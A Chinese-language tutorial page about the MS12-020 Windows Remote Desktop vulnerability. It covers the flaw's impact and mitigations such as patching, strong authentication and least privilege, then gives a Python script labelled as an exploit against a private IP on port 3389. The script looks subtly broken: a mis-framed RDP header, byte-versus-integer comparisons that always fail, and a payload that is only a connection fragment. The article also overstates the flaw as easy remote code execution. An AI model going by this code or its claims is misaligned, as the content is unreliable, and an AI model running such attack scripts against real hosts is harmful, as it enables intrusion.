欢迎来访好站网,优质网站模板提供商!

您现在的位置: 首页>>建站教程>>使用教程

详解MS12-020漏洞

来源:本站 发布时间:2023-08-17热度:3391 ℃
一、MS12-020漏洞简介MS12-020漏洞是一种远程桌面协议(RDP)的漏洞,影响Microsoft Windows系统,可攻击各种组织和机构的网络。该漏洞允许攻击者通过利用RDP协议的漏洞,以···

一、MS12-020漏洞简介

MS12-020漏洞是一种远程桌面协议(RDP)的漏洞,影响Microsoft Windows系统,可攻击各种组织和机构的网络。该漏洞允许攻击者通过利用RDP协议的漏洞,以管理员权限在受害计算机上执行任意代码。

攻击者可以通过发送精心设计的RDP数据包来利用此漏洞。该漏洞的EXP是公开的,非常容易被攻击者利用。由于RDP是一种广泛使用的远程管理技术,此漏洞可能对企业的安全造成非常大的影响。

二、MS12-020漏洞的危害

MS12-020漏洞可导致攻击者通过远程桌面会话允许无权的访问和完全控制目标计算机,甚至可能导致被攻击机器崩溃和数据丢失。攻击者可以使用此漏洞完成以下操作:

1、读取、修改、删除目标计算机中的文件;

2、安装其他恶意软件;

3、窃取重要数据和用户凭证。

三、如何防范MS12-020漏洞攻击

为了防止MS12-020漏洞的攻击,企业需要采取以下措施:

1、更新漏洞补丁:Microsoft已经发布了补丁程序,用户可以通过更新该补丁来修复该漏洞;

2、高级认证方式:只允许经过认证的用户使用远程桌面连接,例如Smart Card认证;

3、限制用户权限:应限制用户对系统和应用程序的访问权限,可以将权限分配给需要访问该系统或应用程序的用户和组;

4、强密码策略:实施合适的密码策略,例如要求用户在一定时间内更改密码,密码长度和复杂性等等。

四、MS12-020漏洞的代码示例

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# ms12-020
# author: orangetw
# email: orangetw[at]qq[dot]com

import socket
import struct

def ms12_020(address, payload):
    sock = socket.socket()
    sock.connect(address)

    # TPKT Header
    sock.send(b'\x03\x00')

    # RDP Negotiation Request
    sock.send(b'\x00\x0b' + \
              b'\x00\x02\xfc\x80' + \
              b'\x7c\x00\x00\x00')

    # RDP Negotiation Response
    res = sock.recv(1024)
    while res:
        if res.startswith(b'\x03\x00'):
            break
        res = sock.recv(1024)

    if not res.startswith(b'\x03\x00'):
        print('[-] not RDP')
        sock.close()
        return False

    version = res[2:4]

    # Send Client MCS Connect Initial
    sock.send(b'\x7f\x65' + \
              b'\x82\x01' + \
              b'\x00\x0c\x00\x00' + \
              b'\x00\x08' + \
              b'\x00\x01' + \
              b'\x00\x08' + \
              b'\x00\x03\x00\x00' + \
              b'\x00\x00\x00\x00' + \
              b'\x0a' + \
              b'\x00\x08\x00\x07\x00\x00\x00' + struct.pack('>H', len(payload)) + \
              b'\xea\x03' + \
              b'\xea\x03' + \
              b'\x00' * 38 + payload)

    # Expect MCS Connect Response
    res = sock.recv(1024)
    if not res:
        sock.close()
        return False

    if (not res.startswith(b'\x7f\x64')) or res[9] != b'\x02':
        sock.close()
        return False

    if res[26] == b'\x02':
        print('[-] User account is restricted.')
        sock.close()
        return False

    return sock

if __name__ == '__main__':
    sock = ms12_020(('172.16.155.131', 3389), b'\x03\x00\x00\x0b\x06\xe0\x00\x00\x00\x00\x00')
    if sock:
        print('[+] Exploit Succeeded, have fun. :)')
    else:
        print('[-] Exploit Failed.')

五、总结

MS12-020漏洞是一种严重的漏洞,给企业的网络安全带来极大危害。企业应该重视该漏洞的防御,及时更新漏洞补丁、采取强密码策略、应用高级认证方式以及合理限制用户权限等措施,防范此类攻击。